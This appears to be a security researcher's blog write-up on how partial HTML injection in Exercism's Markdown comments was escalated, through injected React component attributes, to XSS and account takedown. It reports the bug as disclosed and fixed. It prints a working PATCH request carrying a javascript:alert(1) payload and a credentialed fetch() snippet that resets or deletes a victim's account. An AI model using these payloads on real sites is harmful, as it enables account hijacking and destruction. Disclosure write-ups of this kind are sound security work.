Skip to main content

Yadhu's Blog

A tale of HTML Injection to Account takedown at

Table of Contents

# About Exercism

Exercism is an online platform that helps people upskill their programming skills through practice and mentoring. They are an open-source organization with over 200 GitHub repositories, thousands of contributors, and a friendly, inclusive community.

I came to know about the platform in 2018 when my mentor - Vipin Pavithran asked me to improve my coding skills by practicing on Exercism.

Exercism is an amazing platform to learn to code. It has got an amazing set of challenges and a huge variety of learning tracks.

Enough of the back story, now let’s get to the fun part.

# Background

I received an newsletter from It’s been around 3-4 years since I used the platform. I decided to have a look at their latest version. The platform has undergone drastic changes since then. I noticed that many features were new. I decided to test one of those features.

Exercism provided a feature to post comments to public solution submissions.

For example:

As you might have already noticed, the comment box supports Markdown.

The markdown input was converted to HTML and saved. The converted HTML code was used for rendering. As expected, only certain tags were allowed. Tags like script, link and meta tags were not allowed. It was also noted that attributes that could trigger JavaScript execution such as onload, onerror were stripped off.

However, it was possible to insert div tags and also add data attributes to it. Thus, we have partial HTML Injection.

At this point, I felt stuck. However, I decided to take a look into the HTML source code. The platform was running React.js in the frontend.

# Escalating to XSS

## Weaponizing React.js

Upon looking at the client-side code, it was noted that, React.js creates React Components using a div tag and data attributes - data-react-id, data-react-data and data-react-hydrate.

  • data-react-id attribute contained the React Component name.
  • data-react-data attribute stored values that would be used for initialization of the React Component.

For example,

With this, I was able to insert any React.js Component as a comment.

However, to increase the impact of the bug, a JavaScript execution will have to be shown. For doing this, a component that supports insertion of anchor tags to HTML was identified from Exercism Website GitHub Repository.

A React Component that displayed CLI token was used. The component displayed a link - “where do I use this?”. The href attribute of the link was controllable via info key in the data-react-data parameter.

We edit the info parameter in data-react-data attribute of the component to javascript:alert(1), and create a comment using it.

PATCH /api/v2/tracks/python/exercises/zebra-puzzle/community_solutions/yadhukrishnam/comments/6e008cf3-9414-4615-af8a-89e76f1f04c4 HTTP/2

{"content":"<div class='c-react-component c-react-wrapper-settings-token-form --hydrated' data-react-id='settings-token-form' data-react-data='{&quot;token&quot;:&quot;Click below&quot;,&quot;links&quot;:{&quot;reset&quot;:&quot;;,&quot;info&quot;:&quot;javascript:alert(1)&quot;}}' data-react-hydrate='false'></div>"}

Thus, when a user clicks on the - “where do I use this?” link, the alert function gets executed.

Now, we have a reflected XSS. However, the cookies were HttpOnly, and could not be accessed with JavaScript.

# Account Takedown

Since we have the ability to execute arbitary JavaScript code, we can make requests to any endpoint such as reset_account or delete_account.

fetch("", {
	headers: {
		"content-type": "application/json"
	body: `{"handle":"${document.getElementsByClassName("sr-only")[0].alt.split(' ').pop()}"}`, // extracts username from HTML body
	method: "PATCH",
	mode: "cors",
	credentials: "include"

# Closing Words

A detailed report of the vulnerability was sent to the maintainers as soon as the vulnerability was found. The team responded and and a quick fix was made, however Exercism does not offer bug bounties.

Had a log of fun finding and escalating this bug.

Thanks for reading! Stay tuned!